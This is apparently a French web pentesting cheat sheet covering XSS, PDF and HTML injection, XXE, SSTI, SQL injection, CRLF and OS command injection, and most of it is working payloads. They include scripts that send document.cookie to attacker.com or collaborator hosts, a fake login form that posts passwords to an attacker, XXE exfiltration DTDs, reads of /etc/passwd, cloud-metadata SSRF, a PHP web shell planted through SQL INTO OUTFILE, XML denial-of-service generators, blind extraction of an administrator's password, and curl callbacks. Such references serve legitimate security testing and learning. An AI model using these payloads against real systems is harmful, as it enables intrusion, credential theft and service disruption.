**Reflected XSS** vs **Self XSS**

**Reflected XSS**: d'autres utilisateurs peuvent y accéder et donc en être potentiellement victime en cas de phishing.

**Self XSS**: Aucun autre utilisateur que vous-même ne peut y accéder car elle requière un contexte spécifique à l'utilisateur.
{% endhint %}

{% hint style="warning" %}
Certains voir la plupart des programmes de bug bounty ne considèrent pas les **Self XSS** comme des vulnérabilités acceptables.&#x20;
{% endhint %}

#### Exemple&#x20;

Payload dans un formulaire n'apparaissant pas dans l'url et ne pouvant donc pas servir dans des campagnes de phishing.

{% hint style="warning" %}
Attention: Il est cependant important de ne pas sous-estimer les self-xss car elles peuvent généralement devenir exploitable lorsqu'elles sont chain avec d'autres vulnérabilités telles qu'une [CSRF](/pentest-web/csrf) ou encore du [cache poisoning](/pentest-web/web-cache-poisoning-deception) qui pourraient rendre la self-xss accessible à d'autres utilisateurs.
{% endhint %}

### Blind XSS

On appel XSS en aveugle les payload de Cross-site scripting qui ne sont pas visible directement par l'attaquant. Ces vulnérabilités résident souvent dans des pages dont seul des utilisateurs autorisés peuvent accéder (interfaces d'administration par exemple).

Comme vous pouvez vous en doutez, ces vulnérabilités sont plus complexes à mettre en place du fait de l'impossibilité pour l'attaquant de savoir si son payload a fonctionné ou non.

Pour maximiser les chances de réussite de ces attaques, les attaquants utilisent souvent des polyglots, qui sont conçues pour fonctionner dans de nombreux scénarios différents, comme dans un attribut, sous forme de texte brut ou dans une balise \<script>.

Points d'injection fréquents:

* Formulaire de contact
* Formulaire de feedback
* Username (formulaire de connexion)
* User-agent (en-tête)

#### Exemple

{% embed url="<https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot>" %}

### DOM-based XSS

Dans le cas des DOM-based XSS, l'élément vulnérable n'est pas le serveur lui même mais plutôt le code JavaScript présent dans la page.

Etant donné que JavaScript est utilisé pour ajouter de l'interactivité à une page, des arguments dans l'URL peuvent parfois être utilisés pour modifier la page après son chargement. Si les entrées des utilisateurs ne sont pas (correctement) filtrés dans cette URL alors un attaquant peut injecter du code malveillant dans la page.L

#### Exemple

#### Code vulnérable

```html
<script>
    var stores = ["London","Paris","Milan"];
    var store = (new URLSearchParams(window.location.search)).get('storeId');
    document.write('<select name="storeId">');
    if(store) {
        document.write('<option selected>'+store+'</option>');
    }
    for(var i=0;i<stores.length;i++) {
        if(stores[i] === store) {
            continue;
        }
        document.write('<option>'+stores[i]+'</option>');
    }
    document.write('</select>');
</script>
```

#### Injection dans l'URL

```url
product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>
```

#### Fonctions sensibles

* document.write
* window\.location
* document.cookie
* eval()
* document.domain
* WebSocket
* element.src
* postmessage
* setRequestHeader
* JSON.parse
* ng-app
* URLSearchParams
* replace()
* innerHTML
* location.search
* addEventListener

#### DOM XSS - AngularJS

```javascript
{{$on.constructor('alert(1)')()}}
```

## Mutation XSS (mXSS)

Le « m » de mXSS signifie « mutation ». En HTML, une mutation désigne toute modification apportée au balisage, quelle qu’en soit la raison.

* Lorsqu’un analyseur syntaxique corrige un balisage incorrect (\<p>test → \<p>test\</p>), il s’agit d’une mutation.
* La normalisation des guillemets d’attributs (\<a alt="test"> → \<a alt="test">) est une mutation.
* Le réarrangement des éléments (\<table>\<a> → \<a>\</a>\<table>\</table>) est une mutation.<br>

Et ainsi de suite… Les mXSS exploitent ce comportement pour contourner les protections basées sur du sanitizing. Voici une ressource qui présente quelques exemples sur des librairies connues telles de DOMPurify.

{% embed url="<https://sonarsource.github.io/mxss-cheatsheet/examples/>" %}

## Payloads XSS génériques

#### Basic

\<script>alert(document.domain)\</script>

\</script>\<script>alert(document.domain)\</script>

\</p>\<script>alert(document.domain)\</script>

#### Dans un attribut img

">\<svg onload=alert(document.domain)>

#### Dans innerHTML

\<img src=x onerror=alert(document.domain)>

#### Avec parenthèses bloquées

\<img src=x onerror=alert\`1\`>

#### Dans un paramètre attendant une URL (type href JQuery)

javascript:alert(document.domain)

data:text/html;base64,\<payload en base64>

#### Dans une valeur d'input avec "><" encodés

"onmouseover="alert(document.domain)

#### Dans chaîne de caractère javascript avec "><" encodés

'-alert(document.domain)-'

#### Dans un formulaire possédant une fonctionnalité permettant d'ajouter un lien à tu texte

javascript:bing={};\[2].find(confirm)

#### XSS dans Websocket

Exemple de requête live chat:

{"message":"\<img src=x onerror=alert(document.domain)>"}

#### Escaping JSON simple

\\"-alert(document.domain)}//

#### Bypass de fonction javascript replace()

<>\<img src=x onerror=alert(document.domain)>

#### XSS dans onclick avec tout encodé sauf ' et \ échapés

<http://foo?\\&apos;-alert(1)-\\>'

#### XSS dans tamplate avec <>' " \ et unicode echapés

${alert(document.domain)}

#### DOM XSS dans Swagger UI

* <https://exemple.com/?configUrl=https://jumpy-floor.surge.sh/test.json>
* <https://exemple.com/?url=https://jumpy-floor.surge.sh/test.yaml>
* <https://exemple.com/swagger-ui/index.html?url=https://jumpy-floor.surge.sh/test.yaml>
* <https://exemple.com/swagger-ui.html?url=https://jumpy-floor.surge.sh/test.yaml>
* <https://exemple.com/api/swagger/index.html?configUrl=https://jumpy-floor.surge.sh/test.json>

Trouver des endpoint utilisant Swagger => <https://github.com/doosec101/swagger_scanner>

#### DOM XSS dans postMessage()

\<iframe src="<https://target.com/>" onload="this.contentWindow\.postMessage('\<img src=1 onerror=alert(document.cookie)>','\*')">

#### DOM XSS dans postMassage + JSON.parse

```
<iframe src=https://TARGET.net/ onload='this.contentWindow.postMessage(JSON.stringify({
    "type": "load-channel",
    "url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie"
}), "*");'>
```

ou via DOM invader:

![](/files/dfDOIvBXuJArBA4UFNMX)

<figure><img src="/files/GgJfUKCSNo22MkaaqrJb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/rHh59RogCkgJfCOhDur2" alt=""><figcaption></figcaption></figure>

#### Cookie vs Stockage local

alert(document.cookie)

alert(localStorage.getItem('access\_token'))

#### DOM XSS scan via nmap

*`$ nmap -p80 --script http-dombased-xss.nse`*

## Stored XSS + HTML injection

* Google Dork pour trouver des formulaires de contact&#x20;

site:target.com inurl:"contact" | inurl:"contactus" | inurl:"contact-us" | inurl:"contact*us"* | inurl:"contact\_form" | inurl:"contact-form" ...

* Placer un payload d'injection HTLM dans le nom ( exp: "abc>\<h1>attacker\<h1>)
* Placer payload XSSHunter dans la forme du message.
* Si cela fonctionne alors on reçoit soit le résultat de l'injection HTML dans notre boîte mail, soit une alerte dans XSSHunter, soit les deux.

## Plus de payloads ?

{% content-ref url="/pages/NSq71IcrcW1bROS3J5wh" %}
[Charges utiles](/pentest-web/charges-utiles)
{% endcontent-ref %}


# PDF injection

Si une fonctionnalité vous permet de télécharger un pdf avec du contenu qu'il vous est possible de modifier via des entrées utilisateur, il est parfois possible d'executer des balises HTML pouvant mener à des injections XSS.

## Reconnaissance

```html
<h1>S1rN3tZ</h1>
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--En aveugle-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
```

## SVG payloads

```html
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
    <g>
        <foreignObject width="800" height="500">
            <body xmlns="http://www.w3.org/1999/xhtml">
                <iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
                <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
            </body>
        </foreignObject>
    </g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
  <script type="text/javascript">
    // <![CDATA[
      alert(1);
   // ]]>
  </script>
</svg>
```

## Path disclosure

```html
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```

## RXSS

```html
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```

## LFI

```html
<script>
    x=new XMLHttpRequest;
    x.onload=function(){document.write(btoa(this.responseText))};
    x.open("GET","file:///etc/passwd");x.send();
</script>

<script>
    xhzeem = new XMLHttpRequest();
    xhzeem.onload = function(){document.write(this.responseText);}
    xhzeem.onerror = function(){document.write('failed!')}
    xhzeem.open("GET","file:///etc/passwd");
    xhzeem.send();
</script>

<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>

<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

```

## SSRF - scan de ports

```html
<script>
const checkPort = (port) => {
    fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
        let img = document.createElement("img");
        img.src = `http://attacker.com/ping?port=${port}`;
    });
}

for(let i=0; i<1000; i++) {
    checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
```


# HTMLi

## Basic

* Créer un compte
* Changer nom d'utilisateur en "abc>\<h1>attacker\<h1>
* Regarder si l'injection est reflété sur la page dans l'emplacement de votre nom d'utilisateur.
* Faire une demande de mot de passe oublié et regarder si la balise \<h1> a été exécutée dans le mail.
* Si cela fonctionne, essayer d'envoyer un lien de redirection (\<h1>attacker\<h1>\<a href="[https://attacker.com/">Clic](https://attacker.com/">Clic) here\</a>)

## HTML injection to XSS

```html
<a href="javascript:alert(document.domain)">exemple.com</a>
```

## HTML injection to Open Redirect

```html
<meta http-equiv="refresh" content="5;URL=https://attacker.xyz/">
```

## HTML injection to Account takeover

Exemple de fausse page de connexion dans un contexte de champs de commentaire ou on se fait passer pour un chatbot

```html
<h1>Connectez vous pour commencer à chatter</h1>
<form action="https://yourburp.collab.com" method="post">
<label for="email">Adresse e-mail:</label>
<input name="email">
<label for="password">Mot de Passe:</label>
<input type="password" name="password">
<input type="submit" value="Connexion"></form><!--
```


# XXE

## Basic LFI

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<element>
    &xxe;
</element>
```

## SSRF via XXE

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://evil.com/"> ]>
<element>
    &xxe;
</element>
```

## XSS via XXE

```xml
<element>
    <![CDATA['><script>alert(1);</script>]]>
</element>
```

## XXE avec Xinclude

```xml
parameter=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

## DoS

### Billion laughs attack

```xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
 ...
 ...
 ...
]>
<lolz>&lolX;</lolz>
```

### Quadratic Blowup

Si un attaquant définit l’entité `&x;` avec 55000 caractères et se réfère à cette entité 55000 fois à l’intérieur de l’élément "DoS", l’analyseur se retrouve avec une charge utile d’attaque de blowup quadratique XML légèrement supérieure à 200 Ko qui passe à 2,5 Go lors du parsing.

Script python:

```python
#!/usr/bin/python3

NUM = 55000

def main():
	entity = 'A' * NUM
	refs = '&x;' * NUM
	templ = '''<?xml version="1.0"?>
	<!DOCTYPE DoS [
	  <!ENTITY x "{entity}">
	]>
	<DoS>{entityReferences}</DoS>
	'''.format(entity=entity, entityReferences=refs)

	print(templ)

if __name__ == '__main__':
	main()
```

### Zip bomb

## Exfiltration de données

### Avec Burp collab

#### Exploit server

Mettre ce payload dans un fichier .dtd

```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://BURP-COLLABORATOR-SUBDOMAIN/?x=%file;'>">
%eval;
%exfil;
```

#### Victim server

```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://EXPLOIT-SERVER/exploit.dtd"> %xxe;]>
```

### Via message d'erreur

#### Exploit server

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
```

#### Victim server

```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://EXPLOIT-SERVER/exploit.dtd"> %xxe;]>
```

## [Intégrés dans des fichiers](/pentest-web/upload-features#xxe)


# SSTI

Server-Side Template Injection

## Basic

Etapes:

* Trouver des paramètres reflétés dans la page cible
* Tester des payloads génériques pour prouver la présence d'une SSTI

```
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

PHP based:
{php}print "HELLO"{/php}
```

* Exploiter (exemple de RCE: <%= system("whoami") %>)

### Enumération du moteur de template

2 possibilités:

* Tester des payloads génériques permet de trouver le moteur de template selon la synthaxe qui est acceptée.

![](/files/RBWQ2DwSykPrOJU5nbwM)

* Essayer de générer une erreur de syntaxe (Si le message d'erreur est trop verbeux, il peut faire fuiter le moteur de template utilisé).&#x20;

### Ressource: Payloads

{% embed url="<https://cheatsheet.hackmanit.de/template-injection-table/index.html>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#methodology>" %}

## Outils

### SSTImap

SSTimap est un outil de scan de vulnérabilité SSTI intéractif.

Ressource: <https://github.com/vladko312/SSTImap>


# SQLi

## Wordlist

<https://github.com/mathis2001/Wordlists/tree/main/SQLi>

## Les types de SQLi

Il existe trois types de SQLi:&#x20;

* les **In-band** dont on peut voir le résultat sur la page testé et qui comprend:
  * **Union based** SQL injection: La plus efficace pour un attaquant basée sur la fonction "UNION".
  * **Error based** SQL injection: Quant à elle basée sûr le comportement des erreurs renvoyés par le serveur.
* Les Injection SQL **en aveugle** qui ne donne aucun résultat direct sur la page mais qui peuvent être détéctés de deux façons:
  * **Time based** SQL injection: Basée sur des commandes permettant de définir un temps de réponse qui pourra être détécté en analysant le temps de réponse du serveur à l'injection.
  * **Boolean based** SQL injection: Basée sur la réponse "TRUE" ou "FALSE" du serveur aux injections envoyées.
* **Out-of-band** qui ne renvoie aucun résultat direct ou indirect sur la machine audité mais qui peut-être détécté en envoyant les données sur un serveur distant.

<figure><img src="/files/R5HU0dV30hMTySMdshlU" alt=""><figcaption></figcaption></figure>

### SQLi

#### Détection

```
'
%27
"
%22
#
%23
;
%3B
)
*
&apos;

Essayer de faire des opperations:
id=1332-1 => id=1331
```

#### Méthodologie

Points d'injection:

* Dans le champ du paramètre (ex: page.php?login=\<payload>)
* Directement dans un paramètre (ex: page.php?\<payload>=...)
* Dans le path (ex: page\<payload>/)
* Dans le header (user-agent:, referer:, cookies:)

Etapes:

1. Tenter de générer une erreur avec une entrée invalide ou un caractère spécial indiquant la présence d'une possibilité d'injection
2. Trouver le nombre total de colonnes dans la table avec les commandes "ORDER BY" et "GROUP BY"
3. Trouver des colonnes vulnérables avec des opérateurs "UNION"
4. Extraire les informations basiques telles que database(), version(), user(), uuid() avec "CONCAT()" ou "GROUP\_CONCAT()"
5. Extraire les tables complètes avec le nom des colonnes (extraire le plus d'infos possible avec la commande "GROUP\_CONCAT()"
6. Vérifier les privilèges pour les fichiers avec "FILE\_PRIV"
7. Accéder au système avec la commande "LOAD FILE()"

Méthode 2:

1. Essayer de faire des operations (id=1332-1 => id=1331)
2. Essayer d'ajouter des caractères utilisés dans les requêtes SQL tels que ' " # afin de générer des erreurs
3. Tenter des injections génériques (id=1331 AND 1=1 / id=1331 AND 1=2)
4. Faire de même en ajoutant la synthaxe de commentaire à la fin (--,#)
5. Utiliser des outils automatique si les tests sembles positifs

Méthode pour automatiser la détection de SQLi:

1. $sublist3r -d target.com -o subdomains.txt
2. cat subdomains.txt | httpx | tee -a alive.txt
3. cat alive.txt | waybackurls | tee -a urls.txt
4. gf sqli urls.txt >> possible\_sqli.txt
5. sqlmap -m sqli.txt --dbs --batch

### Payload SQL => LFI

' UNION ALL SELECT LOAD\_FILE ('/etc/passwd')

## Synthaxe version

| Microsoft, MySQL | `@@version` |
| ---------------- | ----------- |
| Oracle           | `v$version` |
| PostgreSQL       | `version()` |

## Synthaxe commentaires

| Oracle     | <p><code>--comment</code><br></p>                                                                                                        |
| ---------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
| Microsoft  | <p><code>--comment</code><br><code>/*comment*/</code></p>                                                                                |
| PostgreSQL | <p><code>--comment</code><br><code>/*comment*/</code></p>                                                                                |
| MySQL      | <p><code>#comment</code><br><code>-- comment</code> \[Notez l'espace entre les tirets et le commentaire]<br><code>/*comment*/</code></p> |

## Synthaxe concatenation

| Oracle     | `'foo'\|\|'bar'`                                                                                                           |
| ---------- | -------------------------------------------------------------------------------------------------------------------------- |
| Microsoft  | `'foo'+'bar'`                                                                                                              |
| PostgreSQL | `'foo'\|\|'bar'`                                                                                                           |
| MySQL      | <p><code>'foo' 'bar'</code> \[Notez l'espace entre les deux chaînes de caractères]<br><code>CONCAT('foo','bar')</code></p> |


# UNION based

## Déterminer le nombre de colonnes

### Avec ORDER BY

```sql
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
```

### Avec UNION SELECT

```sql
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
```

## Trouver une colonne contenant du texte

```sql
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

Une fois le nombre de colonne trouvé,

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--
```

## Selectionner des colonnes dans une table

```sql
' UNION SELECT <column1>, <column2>,... FROM table--
Exemple:
' UNION SELECT username, password FROM users--
```

## Afficher plusieurs colonnes d'une table sur une seule ligne

```sql
' UNION SELECT <column1> || '<separator>' || <column2> FROM table--
Exemple:
' UNION SELECT username || '~' || password FROM users--
```

## Recupérer la liste des tables dans la BDD

Exemple:

```sql
' UNION SELECT NULL,NULL-- (2 colonnes)
Donc,
' UNION SELECT table_name,NULL FROM information_schema.tables--

reponse,
...
...
users
```

## Récupérer le nom des colonnes dans une table

En suivant l'exemple précédent:

```sql
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
```

{% hint style="info" %}
Pour Oracle, remplacer '`information_schema.tables`' par '`all_tables`' et `'information_schema.columns`' par '`all_tab_columns`'.
{% endhint %}

## PHP RCE

```sql
' UNION SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE '/var/www/html/shell.php' #
```


# Time based

## Synthaxe

<table data-header-hidden><thead><tr><th width="282"></th><th></th></tr></thead><tbody><tr><td>Oracle</td><td><code>dbms_pipe.receive_message(('a'),10)</code></td></tr><tr><td>Microsoft</td><td><code>WAITFOR DELAY '0:0:10'</code></td></tr><tr><td>PostgreSQL</td><td><code>SELECT pg_sleep(10)</code></td></tr><tr><td>MySQL</td><td><code>SELECT SLEEP(10)</code></td></tr></tbody></table>

## Exemple d'exploitation sur PostgreSQL

### Détection

```sql
'||pg_sleep(3)||'
'XOR(if(now()=sysdate(),sleep(10),0))OR'
if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/
```

### Enumeration des tables

```sql
'||(SELECT pg_sleep(3) FROM <FUZZ> LIMIT 1)||'

délais de 3 sec pour table users
```

### Enumeration des colonnes

```sql
'||(SELECT pg_sleep(3)||<FUZZ> FROM users LIMIT 1)||'

délai de 3 secondes pour colonnes username et password
```

### Recherche utilisateur administrator

```sql
'||(SELECT pg_sleep(3)||username||password FROM users WHERE username='administrator')||'
```

{% hint style="info" %}
Pour les étapes suivantes, il va vous falloir modifier quelques paramètres dans burp intruder:

* Créer un nouveau pool (Pas de multithread)
* Ajouter la colonne temps de réponse
  {% endhint %}

<figure><img src="/files/i1Uv6owBSrueD25ymL95" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ZURB4M212vBmK79xDjme" alt=""><figcaption></figcaption></figure>

### Déterminer le nombre de caractères dans le mot de passe

```sql
'||(SELECT pg_sleep(3) FROM users WHERE username='administrator' AND LENGTH(password)=<FUZZ>)||'
```

### Bruteforce du mot de passe

```sql
'||(SELECT pg_sleep(3) FROM users WHERE username='administrator' AND SUBSTR(password,<LENGTH_FUZZ>,1)='<LETTER_FUZZ>')||'
```

{% hint style="info" %}
Avec Burp Suite, aller dans intruder, sélectionner les zones \<LENGTH\_FUZZ> et \<LETTER\_FUZZ> puis utiliser l'attaque Cluster Bomb.

Payload 1: numéros de 1 à la taille découverte plus tôt

Payload 2: bruteforce

Dans les paramètres, utiliser Grep-Match pour matcher la zone qui change en fonction du true ou false afin de pouvoir filtrer plus facilemen le résultat final.
{% endhint %}

<figure><img src="/files/4zu0EoqBdW6LT1m2B5lf" alt=""><figcaption></figcaption></figure>


# Boolean based / Error Based

## Détection

Afin de détecter une boolean based SQLi, on va d'abord tenter d'envoyer un payload générique type `' or 1=1--` puis vérifier si il y a une différence entre la réponse de la requête avec le payload et sans. Si un élément a changé, alors il y a possiblement une injection.

```sql
'%20or'1'=='1
' or 1=1--
```

## Enumération des tables

```sql
' UNION SELECT 'a' FROM <FUZZtables> WHERE 1=1--

true pour table users
```

## Enumeration des colonnes

```sql
' UNION SELECT 'a' FROM users WHERE <FUZZcolonnes>='administrator'--

true pour colonne username
```

## Determiner le nombre de caractères dans le mot de passe d'un utilisateur

```sql
' AND (SELECT username FREM users WHERE username='administrator' AND LENGTH(password)=<FUZZ>)='administrator'--
```

## Exploitation avec SUBSTR /  SUBSTRING

```sql
' and (select substring(password,<LENGTH_FUZZ>,1) from users where username='administrator')='<LETTER_FUZZ>'--
```

{% hint style="info" %}
Avec Burp Suite, aller dans intruder, sélectionner les zones \<LENGTH\_FUZZ> et \<LETTER\_FUZZ> puis utiliser l'attaque Cluster Bomb.

Payload 1: numéros de 1 à la taille découverte plus tôt

Payload 2: bruteforce

Dans les paramètres, utiliser Grep-Match pour matcher la zone qui change en fonction du true ou false afin de pouvoir filtrer plus facilemen le résultat final.
{% endhint %}

<figure><img src="/files/heiiGoN0FWD0a3ADuIKM" alt=""><figcaption><p>Exemple de résulta</p></figcaption></figure>


# Out-Of-Band

## Synthaxe XML integration

<table><thead><tr><th></th><th></th></tr></thead><tbody><tr><td>Oracle</td><td><pre><code>SELECT XMLTYPE('&#x3C;?xml version="1.0"?>&#x3C;document>&#x3C;employee>John&#x3C;/employee>&#x3C;/document>') 
FROM dual;
</code></pre></td></tr><tr><td>PostgreSQL</td><td><pre><code>SELECT XMLPARSE(DOCUMENT '&#x3C;?xml version="1.0"?>&#x3C;document>&#x3C;employee>John&#x3C;/employee>&#x3C;/document>');
</code></pre></td></tr></tbody></table>

## Simple DNS lookup

```sql
' UNION SELECT EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l') FROM dual--
```

## Data exfiltration

```sql
' UNION SELECT EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(<SQL_QUERY_HERE>)||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l') FROM dual--
```

<figure><img src="/files/H1Aq5C0ziuC1PorxpeY3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4PJLDpYHepelHKGzIJxe" alt=""><figcaption></figcaption></figure>


# CRLF

Le terme CRLF fait référence à **Retour** chariot ( CR, \r ) et **Saut** de ligne ( LF, \n ). Ils sont utilisés pour noter la terminaison d'une ligne, cependant, ils sont traités différemment dans les systèmes d'exploitation populaires d'aujourd'hui. Par exemple : sous Windows, un CR et un LF sont requis pour noter la fin d'une ligne, alors que sous Linux/UNIX, un LF est uniquement requis. Dans le protocole HTTP, la séquence CR-LF est toujours utilisée pour terminer une ligne.

## Contexte

Pour cette vulnérabilité, imaginons une requête donnant une réponse telle que:

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.com/location/path/here
X-Frame-Options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 1; mode=block

<content>
```

## Vérification de la vulnérabilité

Dans un premier temps, nous allons vérifier si il est possible de faire une simple injection CRLF dans l'url avec le payload `%0D%0A` (possibilité de tester des payloads plus avancés pour être certain).

URL:

```
https://exemple.com/%0D%0ASet-Cookie:mycookie=S1rN3tZ    
```

Si l'injection fonctionne, alors nous aurons le résultat suivant:

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.com/[INJECTION ICI]
Set-Cookie: mycookie=S1rN3tZ  //Le cookie a bien été ajouté
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block

<content>
```

## Injections Avancées

Il est alors possible de combiner cette injection sans impacte avec d'autres pour augmenter l'impact de celle-ci.

### CRLF to XSS

URL:

```
https://exemple.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
```

Résultat:

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.com/[INJECTION ICI]
Content-Lenght: 35
X-XSS-Protection: 0

<svg onload=alert(document.domain)>
```

### CRLF injection + HTML injection

URL:

```
https://exemple.com/%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3ECRLF%20FOUND%20HERE%3C/html%3E
```

Réponse:

```
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.com/[INJECTION ICI]
Set-Cookie:en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34

<html>CRLF FOUND HERE</html>
```

{% hint style="info" %}
Essayer sur HTTPS et HTTP
{% endhint %}

## Payloads

{% content-ref url="/pages/NSq71IcrcW1bROS3J5wh" %}
[Charges utiles](/pentest-web/charges-utiles)
{% endcontent-ref %}

## Bypass

### GBK encoding

* %E5%98%8A = %0A = \u560a
* %E5%98%8D = %0D = \u560d
* %E5%98%BE = %3E = \u563e (>)
* %E5%98%BC = %3C = \u563c (<)

## Outils

### crlfuzz

crlfuzz est un scanner de vulnérabilités CRLF.

Exemple d'utilisation:

*`$ crlfuzz -u "https://target.com"`*

ressource: <https://github.com/dwisiswant0/crlfuzz>

## Ressource

<https://infosecwriteups.com/6000-with-microsoft-hall-of-fame-microsoft-firewall-bypass-crlf-to-xss-microsoft-bug-bounty-8f6615c47922>


# OS injection

## Séparateurs de commandes

| Unix           | Windows |
| -------------- | ------- |
| &              | &       |
| &&             | &&      |
| \|             | \|      |
| \|\|           | \|\|    |
| ;              | n/a     |
| 0x0a           | n/a     |
| \n             | n/a     |
| \`\<command>\` | n/a     |
| $(\<command>)  | n/a     |

## Commandes basiques pour payloads reflétés

<table><thead><tr><th width="313.3333333333333">Utilité</th><th width="229">Linux</th><th>Windows</th></tr></thead><tbody><tr><td>Nom de l'utilisateur courant</td><td><code>whoami</code></td><td><code>whoami</code></td></tr><tr><td>Version du système d'exploitation</td><td><code>uname -a</code></td><td><code>ver</code></td></tr><tr><td>Config réseau</td><td><code>ifconfig</code></td><td><code>ipconfig /all</code></td></tr><tr><td>Connexions réseau</td><td><code>netstat -an</code></td><td><code>netstat -an</code></td></tr><tr><td>Processus actifs</td><td><code>ps -ef</code></td><td><code>tasklist</code></td></tr></tbody></table>

## En aveugle

### Out-Of-Band interaction

```bash
||curl+https://your.burp.collab.com/||
||nslookup+your.burp.collab.com||
